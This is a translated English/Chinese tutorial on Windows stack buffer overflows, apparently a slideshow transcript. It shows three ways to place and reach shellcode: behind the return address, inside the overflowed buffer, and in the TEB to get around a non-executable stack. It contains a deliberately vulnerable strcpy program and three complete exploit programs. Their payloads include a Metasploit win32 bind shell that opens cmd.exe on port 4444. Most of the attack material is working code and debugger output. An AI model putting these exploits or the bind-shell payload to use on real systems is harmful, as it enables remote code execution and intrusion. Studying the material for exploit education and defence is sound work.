Windows 中的 SHELLCODE 定位與緩衝區溢出

14
1/14 SHELLCODE LOCATION AND BUFFER OVERLFOW IN WINDOWS Windows 中的 SHELLCODE 定位與緩衝區溢出 原文:suN8Hclf <[email protected] > & crimsoN_Loyd9 <[email protected] > 翻譯:PSHuang [PSNLAB] 目錄 0x00 介紹................................................................................................................................................................... 1 0x01 SHELLCODE 基礎.............................................................................................................................................. 3 0x02 有弱點的 C 程式.............................................................................................................................................. 5 0x03 手法一 .............................................................................................................................................................. 6 0x04 手法二 .............................................................................................................................................................. 8 0x05 手法三 ............................................................................................................................................................ 11 0x06 結論................................................................................................................................................................. 14 0x07 致謝................................................................................................................................................................. 14 NOTE: Please, excuse my poor English, it’s not my mother language. 作者:英文非我母語,請原諒我的爛文法與拼錯字。 譯者:於非母語人士的前提之下,該文作者的寫作功力,實在令小弟非常「吐血」,該文充斥不少容 易讓人誤解的地方:冗餘修辭、文法誤用與拼字錯誤,幸好我堅持到最後,才有這篇翻譯! 小抱怨:There are tons of abusive and redundant words in this article which I almost couldnt bear. -_-||| 譯者:於原文中,黑色刪除線 為譯者屏棄,紅色文字句為譯者修正,以利讀者交互參考譯文。 0x00 Introductions 0x00 介紹 This is not just another paper describing basics of buffer overflows. There are lots of publications about this topic; therefore it does not make any sense to describe it again. If you are familiar with exploiting buffer overflows on Windows platform, do not think that this article has nothing to offer you in this article. It shows some interesting methods, which can be used during writing an exploit (for example: where to put shellcode when stack is non-executable). Basic knowledge of x86 processors, Assembly and C languages and buffer overflows exploitation are required. 這並非另一篇描述緩衝區溢出基礎的文章。 這個課題已存在眾多公開文件;因此該處沒必要老 調重彈。 假如熟悉 Windows 平台下溢出技術的人,也別認為該文對妳毫無助益。 文中將示範於撰

description

The Shellcode Location and Buffer Overflow Under Windows

Transcript of Windows 中的 SHELLCODE 定位與緩衝區溢出

Page 1: Windows 中的 SHELLCODE 定位與緩衝區溢出

1/14

SHELLCODE LOCATION AND BUFFER OVERLFOW IN WINDOWS

Windows 中的 SHELLCODE 定位與緩衝區溢出

原文:suN8Hclf <[email protected]> & crimsoN_Loyd9 <[email protected]>

翻譯:PSHuang [PSNLAB]

目錄

0x00 介紹 ................................................................................................................................................................... 1

0x01 SHELLCODE 基礎 .............................................................................................................................................. 3

0x02 有弱點的 C 程式 .............................................................................................................................................. 5

0x03 手法一 .............................................................................................................................................................. 6

0x04 手法二 .............................................................................................................................................................. 8

0x05 手法三 ............................................................................................................................................................ 11

0x06 結論 ................................................................................................................................................................. 14

0x07 致謝 ................................................................................................................................................................. 14

NOTE: Please, excuse my poor English, it’s not my mother language.

作者:英文非我母語,請原諒我的爛文法與拼錯字。

譯者:於非母語人士的前提之下,該文作者的寫作功力,實在令小弟非常「吐血」,該文充斥不少容

易讓人誤解的地方:冗餘修辭、文法誤用與拼字錯誤,幸好我堅持到最後,才有這篇翻譯!

小抱怨:There are tons of abusive and redundant words in this article which I almost couldn’t bear. -_-|||

譯者:於原文中,黑色刪除線為譯者屏棄,紅色文字句為譯者修正,以利讀者交互參考譯文。

0x00 Introductions

0x00 介紹

This is not just another paper describing basics of buffer overflows. There are lots of publications

about this topic; therefore it does not make any sense to describe it again. If you are familiar with

exploiting buffer overflows on Windows platform, do not think that this article has nothing to offer you in

this article. It shows some interesting methods, which can be used during writing an exploit (for example:

where to put shellcode when stack is non-executable). Basic knowledge of x86 processors, Assembly and C

languages and buffer overflows exploitation are required.

這並非另一篇描述緩衝區溢出基礎的文章。 這個課題已存在眾多公開文件;因此該處沒必要老

調重彈。 假如熟悉 Windows 平台下溢出技術的人,也別認為該文對妳毫無助益。 文中將示範於撰

Page 2: Windows 中的 SHELLCODE 定位與緩衝區溢出

2/14

寫攻擊代碼(exploit)期間數種會被使用的有趣手法(例如:當堆疊不可執行代碼時,應放置 Shellcode

之處)。 至於對 x86 微處理器、組合語言、C 語言與緩衝區溢出原理的認知為最低需求。

Acquiring the ability to overflow a buffer on the stack, gives us through the obtaining full control over

the EIP register of x86 Processor. Yep!!! This is great!!! We can load this register with arbitrary address

every address we want, and then force a vulnerable program to jump there and to and execute the code

that is at that address.

透過完全掌握 x86 微處理機中的 EIP 暫存器,就有進行堆疊溢出的能力。 吔~這很棒! 我們

可以載入任意位址的內容到記憶體中,然後強迫有弱點的程式碼跳躍至該位址執行構造的代碼。

Theoretically, we could implement in which aforementioned. But the problem occurred when we want

to execute the code in which WE want to be executed and not the code, which we desired is doesn’t

actually exist in the memory. To achieve it, we have got to place OUR code in the memory of process we are

attacked. This code is known as shellcode and it consists of a set of instructions for processor, additionally

encoded in their hex values.

理論上可以實現上文所提及的方法,但是問題發生於當我們要執行的代碼並非真得存在記憶體中。

想逆轉致勝,就得把構造的代碼放入欲攻擊行程的記憶體中。 該代碼稱作 shellcode 其中包含一組

微處理器的指令集,此外以十六進制編碼表示。

In this paper, I will discuss three possible locations in memory, where we can put our shellcode and

then, how to force the vulnerable application to execute it. During this tutorial we will be using two

shellcodes, of which are different sizes.

於該篇章中,筆者將探討三種可能放置 shellcode 的記憶體位置,然後強迫有弱點的應用程式去

執行。 於本次教學,筆者將使用兩個尺寸相異的 shellcode 程式碼。

The first one was written by me:

第一由我自行撰寫:

1. Loads user32.dll library to process memory

2. Calls MessageBoxA

3. Calls ExitProcess(0) to terminate process

1. 載入 user32.dll 到行程記憶體中

2. 呼叫 MessageBoxA

3. 呼叫 ExitProcess(0) 隨即終止行程

The second one was generated in Metasploit Framework:

It binds Windows shell (cmd.exe) to port 4444.

第二由 Metasploit Framework 自動產生:

綁定 Windows 交談介面代碼至埠口 4444(cmd.exe)。

Page 3: Windows 中的 SHELLCODE 定位與緩衝區溢出

3/14

Three methods (possible locations in memory) I will describe are the following:

以下為三種我所要探討的手法(可能的記憶體位址):

1. On the stack, behind the buffer that smashes the stack (so behind the return address).

2. In buffer, this overflows buffer on the stack.

3. In TEB (Thread Environment Block) block

1. 於堆疊中,粉碎於緩衝區之後(因此面向返回位址)。

2. 於程式緩衝區中,進行堆疊溢出作業。

3. 於緒環境區塊(TEB)中,進行堆疊溢出作業。

0x01 Shellcodes

0x01 SHELLCODE 基礎

1. The first shellcode (64 bytes):

1. 第一個 shellcode 代碼(64 位元組):

char shellcode[]=

"\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x5B\x33\xC9\x83\xC3"

"\x35\x88\x0B\x83\xEB\x06\x53\xB8\xCF\x05\x35\x79\xFF\xD0"

"\x33\xC9\x51\x53\x53\x51\x05\x11\x11\x11\x11\x2D\x79\x90"

"\x0E\x11\xFF\xD0\x33\xC9\x51\xB8\x1A\xE0\x34\x79\xFF\xD0"

"\x75\x73\x65\x72\x33\x32\x61";

In details:

除錯器細節:

00401B7C EB 02 JMP SHORT vuln.00401B80

00401B7E EB 05 JMP SHORT vuln.00401B85

00401B80 E8 F9FFFFFF CALL vuln.00401B7E

00401B85 5B POP EBX

00401B86 33C9 XOR ECX,ECX

00401B88 83C3 35 ADD EBX,35

00401B8B 880B MOV BYTE PTR DS:[EBX],CL

00401B8D 83EB 06 SUB EBX,6

00401B90 53 PUSH EBX

00401B91 B8 CF053579 MOV EAX,KERNEL32.LoadLibraryA //check

address of LoadLibraryA on your own

00401B96 FFD0 CALL EAX

00401B98 33C9 XOR ECX,ECX

00401B9A 51 PUSH ECX

00401B9B 53 PUSH EBX

Page 4: Windows 中的 SHELLCODE 定位與緩衝區溢出

4/14

00401B9C 53 PUSH EBX

00401B9D 51 PUSH ECX

00401B9E 05 11111111 ADD EAX,11111111

00401BA3 2D 79900E11 SUB EAX,110E9079

00401BA8 FFD0 CALL EAX //here, in eax

should be an address of

00401BAA 33C9 XOR ECX,ECX //MessageBoxA

function

00401BAC 51 PUSH ECX

00401BAD B8 1AE03479 MOV EAX,KERNEL32.ExitProcess //address of

ExitProcess

00401BB2 FFD0 CALL EAX

00401BB4 75 73 JNZ SHORT vuln.00401C29

00401BB6 65:72 33 JB SHORT vuln.00401BEC

00401BB9 3261 XOR AL,BYTE PTR DS:[EAX]

Wow, I have written it under Windows 2000 Service Pack 4. If you are using another Windows platform,

you should change address of LoadLibraryA, MessageBoxA and ExitProcess in kernel32 and User32 to good

ones. As you can see, this simple code simply invokes MessageBoxA and then it terminates the process.

哇~這個代碼筆者已在 Windows 2000 SP4 下實做過。 假如使用其他 Windows 平台的人,請自

行將 LoadLibraryA、 MessageBoxA 與 ExitProcess 於 kernel32 與 user32 函數庫的位址修正為可行

的。 如妳所見,該代碼單純地呼叫 MessageBoxA 隨即終止自身行程。

2. The second shellcode(399 bytes):

2. 第二個 shellcode 代碼(399 位元組):

// win32_bind - Encoded Shellcode [\x00\x0a\x09] [ EXITFUNC=seh LPORT=4444

Size=399 ] http://metasploit.com/

unsigned char shellcode[] =

"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85"

"\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19"

"\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05"

"\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0"

"\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74"

"\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15"

"\x99\x2e\x73\xc4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14"

"\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53"

"\x0e\x34\x13\x14\x8d\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce"

"\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf"

"\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb"

Page 5: Windows 中的 SHELLCODE 定位與緩衝區溢出

5/14

"\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18"

"\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6"

"\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16"

"\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f"

"\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c"

"\xed\x2d\x98\x5e\xd9\xa6\x78\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18"

"\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f"

"\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8"

"\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0b\xa1\x13\x99\x4e"

"\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f"

"\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27"

"\xf7\xd1\x2b\x59\x7a\x7a\x9c\xb0\x55\xa6\x7e\xb0\xf0\x2f\xf0\xe2"

"\x5c\x2a\x56\xb0\xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a"

"\x85\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98";

0x02 Vulnerable C Program

0x02 有弱點的 C 程式

Here is a code of the vulnerable program, which we'll be attacking using three methods:

此處為一個有弱點的 C 程式,筆者將利用以下三種手法進行攻擊:

-------------vuln.c------------------------

#include <stdio.h>

#include <stdlib.h>

int foo(char *);

int main(int argc, char *argv[])

{

if(argc != 2)

return printf("Supply an argument, dude\n");

foo(argv[1]);

return 0;

}

int foo(char *input)

{

unsigned char buffer[600]="";

printf("%.8X\n", &buffer);

strcpy(buffer, input);

Page 6: Windows 中的 SHELLCODE 定位與緩衝區溢出

6/14

return 0;

}

-------------vuln.c------------------------

As you can see, there is a possibility (in foo() function) to overflow a buffer on the stack. Strcpy()

function does not check the length of "source" data.

如妳所見,於 foo() 函數的堆疊上將可能誘發區溢出攻擊。 Strcpy() 函數並未檢查「來源」資料

的長度。

NOTE:

To make our think much simpler, let's assume that 620 bytes is the

maximum size of data that DOES NOT overwrite return address on the stack.

注意:

為了使筆者的作業更加簡易,讓此處假設 620 位元組

為資料最大尺寸,並且不會覆寫堆疊中的返回位址。

0x03 The First Method

0x03 手法一

This is probably the most popular and the simplest method. We fill entire buffer (620 bytes) with

"chunk", the return address we overwrite with jump(call, jmp), and then we place our shellcode. Inside the

buffer, which where exploited the vulnerable program with this method looks like it:

其為最普及且最簡易的手法。 筆者先以「填充物」塞滿整個緩衝區(620 位元組),再以跳躍指

令(call、jmp)覆寫返回位址, 最後放置構造的 shellcode。 於緩衝區內,攻擊弱點程式手法如下

所示:

[620 bytes of chunk] [jmp esp, call esp] [some NOP's] [shellcode]

We assume that ESP register points to our shellcode during overflow (shellcode is on the top of the

stack).

筆者假設 ESP 暫存器於溢出期間指向構造的 shellcode(shellcode 位於堆疊頂端)。

Here is the exploit:

底下是攻擊代碼:

----------------exploit1.c------------------------

#include <stdio.h>

#include <stdlib.h>

Page 7: Windows 中的 SHELLCODE 定位與緩衝區溢出

7/14

#include <windows.h>

#define RET 0x7935EDBB /* ATTENTION!!! Change it. Search kernel32.dll

or any other library for jmp esp or call esp

instruction and then save the address */

#define TRASH 0x41

char shellcode[]=

"\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x5B\x33\xC9\x83\xC3"

"\x35\x88\x0B\x83\xEB\x06\x53\xB8\xCF\x05\x35\x79\xFF\xD0"

"\x33\xC9\x51\x53\x53\x51\x05\x11\x11\x11\x11\x2D\x79\x90"

"\x0E\x11\xFF\xD0\x33\xC9\x51\xB8\x1A\xE0\x34\x79\xFF\xD0"

"\x75\x73\x65\x72\x33\x32\x61";

int main(int argc, char *argv[])

{

char *bufExe[3];

char buf[700];

int i;

char *ptr = buf;

memset(buf, 0, sizeof(buf));

bufExe[0] = "vuln.exe";

bufExe[2] = NULL;

for(i=0;i<620;i++)

(*ptr++) = TRASH; //620 bytes of chunk

*(unsigned long *)&buf[620] = RET; //then return address = jmp esp, call

esp

strcat(buf, "\x90\x90\x90\x90"); //small NOP sledge

strcat(buf, shellcode); //and our first shellcode

bufExe[1] = buf;

execve(bufExe[0],bufExe,NULL);

return 0;

}

----------------exploit1.c------------------------

This method works correctly, but is very limited. Why? Because we should use short length of our

shellcode must be SMALL. If you use long shellcode(for example the second one from this paper), it will be

Page 8: Windows 中的 SHELLCODE 定位與緩衝區溢出

8/14

cut. Therefore using this method we won't force the vulnerable program to execute or second shellcode. To

do it we have got to use the second method.

該手法可正確運行卻有所限制。 原因是什麼? 因為筆者必須使用短的 shellcode。 假如有人使

用長的 shellcode(例如:該文中的第二個 shellcode)將會被截斷。 因此使用該手法,筆者將無法

強迫有弱點的程式執行所構造的代碼。 筆者必須利用手法二去達成目標。

0x04 The Second Method

0x04 手法二

To execute long shellcode we need much more place: 399 bytes + NOP sledge (in our example). If the

buffer in an application, in which we are attacked, where allocated quite big space (620 bytes in vulnerable

program), we can place THERE our shellcode and jump to the beginning of our code in buffer. This is how

most of exploits for Linux kernel < 2.6 works. Buffer looks like it:

欲執行長的 shellcode 我們需要更多空間:399 位元組 + NOP 墊腳石(於該範例中)。 假如欲

攻擊應用程式內的緩衝區,那裡配置相當大的空間(於有弱點程式中的 620 位元組),則可將構造代

碼置於此處並跳躍至其起始處執行。 其中小於 2.6 版本的 Linux Kernel 可正常運作絕大多數的攻擊

代碼。 至於緩衝區配置如下所示:

[NOP sledge] [REAL SHELLCODE] [call esp, jmp esp] [some NOP's] [MINI SHELLCODE]

As you can see, we have got to use two shellcodes:

如妳所見,以下必須使用兩個 shellcode 代碼:

REAL SHELLCODE The real shellcode which we want to be executed.

真實 SHELLCODE 攻擊程式原先要執行的 shellcode 代碼。

MINI SHELLCODE The small shellcode using second method which will jump to the REAL one.

小型 SHELLCODE 利用手法二跳躍至真實 shellcode 之處。

In our example (vulnerable program) the ECX register points to the end of buffer. Therefore we can use

it, to jump at the beginning of the buffer. We can do it by:

在範例中(有弱點的程式)ECX 暫存器指向緩衝區的結尾。 因此我們可以利用於緩衝區起始跳

躍工作。 作法如下:

dec ch

dec ch

jmp eax

MINI SHELLCODE L

NOP Sledge

REAL SHELLCODE H

Of course, you may need to change it. The most important thing is that the ECX register, must point to

the NOP sledge before, which was located among REAL SHELLCODE after the execution of and MINI

SHELLCODE, where the former one behind the latter one.

Page 9: Windows 中的 SHELLCODE 定位與緩衝區溢出

9/14

理所當然,妳可能需要作變更。 其中最重要的是 ECX 暫存器,必須指向 NOP 墊腳石之處,而

墊腳石座落於真實 SHELLCODE 與 小型 SHELLCODE 之間,其中前者背向後者(譯者註:林盃覺得原

文實在寫得過於「靠盃」,容易讓人不知其所云,所以就修改一下,詳情請見上方代碼旁的示意圖。)。

Exploit:

攻擊代碼:

------------------exploit2.c-----------------------

#include <stdio.h>

#include <stdlib.h>

#include <windows.h>

#define RET 0x7935EDBB //see comments in exploit1.c

#define NOP 0x90

unsigned char shellcode[] =

"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85"

"\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19"

"\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05"

"\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0"

"\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74"

"\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15"

"\x99\x2e\x73\xc4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14"

"\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53"

"\x0e\x34\x13\x14\x8d\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce"

"\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf"

"\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb"

"\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18"

"\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6"

"\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16"

"\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f"

"\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c"

"\xed\x2d\x98\x5e\xd9\xa6\x78\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18"

"\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f"

"\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8"

"\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0b\xa1\x13\x99\x4e"

"\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f"

"\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27"

"\xf7\xd1\x2b\x59\x7a\x7a\x9c\xb0\x55\xa6\x7e\xb0\xf0\x2f\xf0\xe2"

"\x5c\x2a\x56\xb0\xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a"

"\x85\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98";

Page 10: Windows 中的 SHELLCODE 定位與緩衝區溢出

10/14

char mini[]=

"\xFE\xCD" // dec ch

"\xFE\xCD" // dec ch

"\xFF\xE1"; /* jmp ecx (the ECX register should point to the NOP

sledge before REAL shellcode) */

int main(int argc, char *argv[])

{

char *bufExe[3];

char buf[700];

int i;

char *ptr = buf;

memset(buf, 0, sizeof(buf));

bufExe[0] = "vuln.exe";

bufExe[2] = NULL;

for(i=0;i<160;i++)

(*ptr++) = NOP; //load 160 NOPs (counted value)

strcat(buf, shellcode); //load our shellcode (399 bytes)

strcat(buf, "\x90"); //load one NOP to gain rounded value 560

(160+399=559)

for(i=0;i<12;i++)

strcat(buf, "\x90\x90\x90\x90\x90"); //load some NOPs to be 620 bytes

(620-560=60)

*(unsigned long *)&buf[620] = RET; //now jump to MINI SHELLCODE(call esp)

strcat(buf,"\x90\x90\x90\x90"); //some NOPs

strcat(buf, mini); //MINI SHELLCODE

bufExe[1] = buf;

execve(bufExe[0],bufExe,NULL);

return 0;

}

------------------exploit2.c-----------------------

Of course, all values in this example were counted, and they won't be good any time. You have got to

do the math yourself :) Ok, it works, but what if the stack is non-executable?

理所當然,本例中的數值皆先行經過計算,難免會有誤差。 妳必須自行作比對:) 好的,程式

Page 11: Windows 中的 SHELLCODE 定位與緩衝區溢出

11/14

可以正常運作,但是如果堆疊不可執行代碼怎麼辦?

0x05 The Third Method

0x05 手法三

If the stack memory was configured to forbid the execution of code that is placed on it, we have got to

choose another place to store our shellcode. We can, For example, we can choose TEB block, for every

block has 520 bytes buffer used during Unicode to ASCII strings conversion. This buffer is shifted (placed)

0xC00 bytes from the beginning of TEB block. The TEB block of the first process's thread has was located at

address 0x7FFDE000 so the free buffer for our shellcode is at 0x7FFDEC00 (0x7FFDE000 + 0xC00).

假如於堆疊記憶體組態中禁止執行代碼,那麼就需要選擇另外的地方保存 shellcode 代碼。 舉

例來說,可以選擇緒環境區塊(TEB),而此緩衝區佔據 520 位元組,作用於 Unicode 碼至 ASCII 碼

轉換時期。 該緩衝區從 TEB 區塊起始處偏移 0xC00 位元組。 TEB 區塊的首要行程緒的位址起始於

0x7FFDE000,因此 shellcode 代碼的儲存空間從 0x7FFDEC00(0x7FFDE000 + 0xC00)開始算起。

Because this address ends with NULL byte, we should change it to a non-null byte one (for example,

0x7FFDEC04). But here is a trap. If our exploit did use invoke any function that uses the buffer in TEB block

for conversion between Unicode and ASCII, the attacked process would probably crash down and our

shellcode would not be executed.

因為該位址以零字元(Null Byte)結尾,筆者需要轉成一個非零的(例如:0x7FFDEC04)。 但是

這裡佈置一個陷阱。 假如攻擊代碼呼叫任何位於 TEB 區塊中 Unicode 與 ASCII 之間轉換用的函數,

那麼被攻擊的目標程式大多會掛點,然後構造的 shellcode 代碼也無法順利執行。

That’s too bad...

實在很糟糕…

Fortunately, there are some others free locations in TEB block that are not used. For example, starting

from 0x7FFDE1BC, there is a buffer containing only NULL bytes, where we can overwrite. So this is how our

buffer looks like, which will be sent to vulnerable program, looks like:

幸好 TEB 區塊中尚存可利用之處。 舉例來說,從 0x7FFDE1BC 開始,有一個全然以空字元構成

的緩衝區,而此處可供設計者覆寫。 因此有弱點程式於記憶體中的緩衝區分配如下:

[NOPs] [shellcode] [ NOPs] [STR_FUNC] [STR_FUNC_RET] [DEST_BUF] [SRC_BUF]

Where:

該處:

STR_FUNC 620-624 bytes The function address, which will be used to copy our NOP sledge +

shellcode to TEB block (lstrcpyA or lstrcatA).

STR_FUNC 620-624 位元組 作用於複製 NOP 墊腳石與構造的 shellcode 代碼至 TEB 區塊

中的函數位址(lstrcpA 或 lstrcatA)。

Page 12: Windows 中的 SHELLCODE 定位與緩衝區溢出

12/14

STR_FUNC_RET 624-628 bytes The return address for STR_FUNC. In our example we are jumping to

our buffer with shellcode at 0x7FFDE1BC.

STR_FUNC_RET 624-628 位元組 函數 STR_FUNC 的返回位址。 於本例中,提供 shellcode 代碼

(位於 0x7FFDE1BC)跳躍至緩衝區的用途。

DEST_BUF 628-632 bytes The address where we are copied our shellcode to. It’s the TEB block

(0x7FFDE1BC) in our case.

DEST_BUF 628-632 位元組 筆者要複製 shellcode 代碼的目的地。 於本例中,屬於 TEB 區

塊(位於 0x7FFDE1BC)。

SRC_BUF 632-636 bytes The address where we are copied our code from. We copy NOP

sledge and shellcode. Get this address from vulnerable program.

SRC_BUF 632-636 位元組 筆者要複製 shellcode 代碼的來源處。 從這裡獲得 NOP 墊腳石

與 shellcode 代碼,而此位址可由有弱點程式中得知。

And the third exploit:

第三個攻擊代碼:

------------------------exploit3.c----------------------

#include <stdio.h>

#include <stdlib.h>

#include <windows.h>

#define TEB 0x7FFDE1BC // the location where we are copying our

code

#define BUF_ADDR 0x0013B870 //address of buffer from vuln.c

#define STRCPY_FUNC 0x7935DF5C //address of lstrcpyA in kernel32.dll

for Win2000

unsigned char shellcode[] =

"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85"

"\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19"

"\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05"

"\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0"

"\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74"

"\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15"

"\x99\x2e\x73\xc4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14"

"\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53"

"\x0e\x34\x13\x14\x8d\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce"

"\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf"

"\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb"

"\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18"

Page 13: Windows 中的 SHELLCODE 定位與緩衝區溢出

13/14

"\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6"

"\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16"

"\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f"

"\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c"

"\xed\x2d\x98\x5e\xd9\xa6\x78\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18"

"\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f"

"\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8"

"\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0b\xa1\x13\x99\x4e"

"\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f"

"\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27"

"\xf7\xd1\x2b\x59\x7a\x7a\x9c\xb0\x55\xa6\x7e\xb0\xf0\x2f\xf0\xe2"

"\x5c\x2a\x56\xb0\xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a"

"\x85\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98";

int main(int argc, char *argv[])

{

char *bufExe[3];

char buf[770];

int i,y;

bufExe[0] = "vuln.exe";

bufExe[2] = NULL;

memset(buf, 0, sizeof(buf));

for(i=0;i<25;i++)

strcat(buf, "\x90\x90\x90\x90"); //100 bytes of NOP

for(i=strlen(buf), y=0;y<sizeof(shellcode);y++,i++)

buf[i] = shellcode[y]; //our shellcode

for(i;i<621;i++)

strcat(buf, "\x90"); //and fill the rest of buffer with

NOP's (total 620 bytes)

*(unsigned long *)&buf[620] = STRCPY_FUNC;

*(unsigned long *)&buf[624] = TEB;

*(unsigned long *)&buf[628] = TEB;

*(unsigned long *)&buf[632] = BUF_ADDR;

Page 14: Windows 中的 SHELLCODE 定位與緩衝區溢出

14/14

bufExe[1] = buf;

execve(bufExe[0],bufExe,NULL);

return 0;

}

------------------------exploit3.c----------------------

After invoking this exploit, and typed:

於引發攻擊之後,隨即鍵入指令:

> netstat –a

You should see opened port -> 4444. Good...

妳應該看到埠口 4444 開啟了。 好的…

